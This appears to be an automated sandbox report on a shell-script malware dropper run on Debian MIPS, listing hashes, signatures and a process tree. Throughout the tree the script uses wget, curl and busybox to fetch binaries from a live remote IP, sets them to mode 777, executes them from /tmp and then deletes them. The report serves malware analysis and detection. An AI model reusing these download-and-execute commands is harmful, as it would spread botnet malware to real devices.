Analysis
-
max time kernel
108s -
max time network
110s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240418-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
21/11/2024, 05:23
Static task
static1
Behavioral task
behavioral1
Sample
64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926.sh
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral4
Sample
64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926.sh
-
Size
10KB
-
MD5
7d4915a02bbc4a1ae7b70fed6d3293c1
-
SHA1
b164b6db9f2e8375942f65d81fdbee4d41650560
-
SHA256
64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926
-
SHA512
6830a2ff2527d337e1e6b83939662fb92e363729989c13b85ad949521942da0b5acfade63e558e549f074167b1367ba6ae1d980f9217d63cc670c0d53ed0ce28
-
SSDEEP
192:jrE/uXvn65QyKeioEWfPDt92igPn12igPnA/WXvn65QjeiojPDv:jrE2Xvn6uymWp92igPn12igPnAeXvn61
Malware Config
Signatures
-
File and Directory Permissions Modification 1 TTPs 28 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 904 chmod 916 chmod 976 chmod 994 chmod 1000 chmod 766 chmod 922 chmod 958 chmod 838 chmod 940 chmod 886 chmod 892 chmod 910 chmod 982 chmod 782 chmod 858 chmod 952 chmod 964 chmod 988 chmod 760 chmod 928 chmod 934 chmod 970 chmod 806 chmod 829 chmod 898 chmod 946 chmod 880 chmod -
Executes dropped EXE 28 IoCs
ioc pid Process /tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM 761 uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM /tmp/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE 767 Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE /tmp/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ 784 eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ /tmp/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik 808 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik /tmp/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq 830 WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq /tmp/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN 839 bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN /tmp/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc 860 yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc /tmp/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX 881 SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX /tmp/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5 887 ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5 /tmp/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm 893 ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm /tmp/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f 899 zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f /tmp/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD 905 nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD /tmp/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y 911 asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y /tmp/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ 917 Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ /tmp/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f 923 zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f /tmp/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD 929 nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD /tmp/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y 935 asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y /tmp/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ 941 Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ /tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM 947 uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM /tmp/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE 953 Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE /tmp/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ 959 eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ /tmp/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik 965 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik /tmp/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq 971 WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq /tmp/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN 977 bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN /tmp/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc 983 yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc /tmp/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX 989 SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX /tmp/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5 995 ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5 /tmp/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm 1001 ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl -
Writes file to tmp directory 28 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq curl File opened for modification /tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM curl File opened for modification /tmp/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y curl File opened for modification /tmp/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik curl File opened for modification /tmp/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc curl File opened for modification /tmp/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm curl File opened for modification /tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM curl File opened for modification /tmp/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ curl File opened for modification /tmp/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc curl File opened for modification /tmp/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y curl File opened for modification /tmp/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE curl File opened for modification /tmp/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN curl File opened for modification /tmp/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5 curl File opened for modification /tmp/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5 curl File opened for modification /tmp/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f curl File opened for modification /tmp/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ curl File opened for modification /tmp/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX curl File opened for modification /tmp/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik curl File opened for modification /tmp/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX curl File opened for modification /tmp/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f curl File opened for modification /tmp/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq curl File opened for modification /tmp/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ curl File opened for modification /tmp/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE curl File opened for modification /tmp/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN curl File opened for modification /tmp/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm curl File opened for modification /tmp/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD curl File opened for modification /tmp/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD curl File opened for modification /tmp/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ curl
Processes
-
/tmp/64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926.sh/tmp/64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926.sh1⤵PID:728
-
/bin/rm/bin/rm bins.sh2⤵PID:731
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵PID:737
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:751
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵PID:758
-
-
/bin/chmodchmod 777 uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵
- File and Directory Permissions Modification
PID:760
-
-
/tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM./uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵
- Executes dropped EXE
PID:761
-
-
/bin/rmrm uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵PID:762
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵PID:763
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:764
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵PID:765
-
-
/bin/chmodchmod 777 Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵
- File and Directory Permissions Modification
PID:766
-
-
/tmp/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE./Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵
- Executes dropped EXE
PID:767
-
-
/bin/rmrm Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵PID:768
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵PID:769
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:770
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵PID:778
-
-
/bin/chmodchmod 777 eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵
- File and Directory Permissions Modification
PID:782
-
-
/tmp/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ./eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵
- Executes dropped EXE
PID:784
-
-
/bin/rmrm eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵PID:788
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵PID:789
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:796
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵PID:803
-
-
/bin/chmodchmod 777 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵
- File and Directory Permissions Modification
PID:806
-
-
/tmp/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik./6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵
- Executes dropped EXE
PID:808
-
-
/bin/rmrm 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵PID:812
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵PID:813
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:820
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵PID:827
-
-
/bin/chmodchmod 777 WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵
- File and Directory Permissions Modification
PID:829
-
-
/tmp/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq./WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵
- Executes dropped EXE
PID:830
-
-
/bin/rmrm WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵PID:831
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵PID:832
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:836
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵PID:837
-
-
/bin/chmodchmod 777 bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵
- File and Directory Permissions Modification
PID:838
-
-
/tmp/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN./bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵
- Executes dropped EXE
PID:839
-
-
/bin/rmrm bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵PID:843
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵PID:844
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:849
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵PID:854
-
-
/bin/chmodchmod 777 yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵
- File and Directory Permissions Modification
PID:858
-
-
/tmp/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc./yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵
- Executes dropped EXE
PID:860
-
-
/bin/rmrm yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵PID:862
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵PID:864
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:868
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵PID:876
-
-
/bin/chmodchmod 777 SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵
- File and Directory Permissions Modification
PID:880
-
-
/tmp/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX./SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵
- Executes dropped EXE
PID:881
-
-
/bin/rmrm SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵PID:882
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵PID:883
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:884
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵PID:885
-
-
/bin/chmodchmod 777 ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵
- File and Directory Permissions Modification
PID:886
-
-
/tmp/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5./ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵
- Executes dropped EXE
PID:887
-
-
/bin/rmrm ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵PID:888
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵PID:889
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:890
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵PID:891
-
-
/bin/chmodchmod 777 ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵
- File and Directory Permissions Modification
PID:892
-
-
/tmp/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm./ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵
- Executes dropped EXE
PID:893
-
-
/bin/rmrm ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵PID:894
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵PID:895
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:896
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵PID:897
-
-
/bin/chmodchmod 777 zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵
- File and Directory Permissions Modification
PID:898
-
-
/tmp/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f./zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵
- Executes dropped EXE
PID:899
-
-
/bin/rmrm zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵PID:900
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵PID:901
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:902
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵PID:903
-
-
/bin/chmodchmod 777 nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵
- File and Directory Permissions Modification
PID:904
-
-
/tmp/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD./nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵
- Executes dropped EXE
PID:905
-
-
/bin/rmrm nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵PID:906
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵PID:907
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:908
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵PID:909
-
-
/bin/chmodchmod 777 asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵
- File and Directory Permissions Modification
PID:910
-
-
/tmp/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y./asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵
- Executes dropped EXE
PID:911
-
-
/bin/rmrm asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵PID:912
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵PID:913
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:914
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵PID:915
-
-
/bin/chmodchmod 777 Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵
- File and Directory Permissions Modification
PID:916
-
-
/tmp/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ./Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵
- Executes dropped EXE
PID:917
-
-
/bin/rmrm Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵PID:918
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵PID:919
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:920
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵PID:921
-
-
/bin/chmodchmod 777 zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵
- File and Directory Permissions Modification
PID:922
-
-
/tmp/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f./zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵
- Executes dropped EXE
PID:923
-
-
/bin/rmrm zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵PID:924
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵PID:925
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:926
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵PID:927
-
-
/bin/chmodchmod 777 nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵
- File and Directory Permissions Modification
PID:928
-
-
/tmp/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD./nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵
- Executes dropped EXE
PID:929
-
-
/bin/rmrm nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵PID:930
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵PID:931
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:932
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵PID:933
-
-
/bin/chmodchmod 777 asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵
- File and Directory Permissions Modification
PID:934
-
-
/tmp/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y./asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵
- Executes dropped EXE
PID:935
-
-
/bin/rmrm asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵PID:936
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵PID:937
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:938
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵PID:939
-
-
/bin/chmodchmod 777 Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵
- File and Directory Permissions Modification
PID:940
-
-
/tmp/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ./Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵
- Executes dropped EXE
PID:941
-
-
/bin/rmrm Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵PID:942
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵PID:943
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:944
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵PID:945
-
-
/bin/chmodchmod 777 uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵
- File and Directory Permissions Modification
PID:946
-
-
/tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM./uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵
- Executes dropped EXE
PID:947
-
-
/bin/rmrm uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵PID:948
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵PID:949
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:950
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵PID:951
-
-
/bin/chmodchmod 777 Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵
- File and Directory Permissions Modification
PID:952
-
-
/tmp/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE./Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵
- Executes dropped EXE
PID:953
-
-
/bin/rmrm Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵PID:954
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵PID:955
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:956
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵PID:957
-
-
/bin/chmodchmod 777 eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵
- File and Directory Permissions Modification
PID:958
-
-
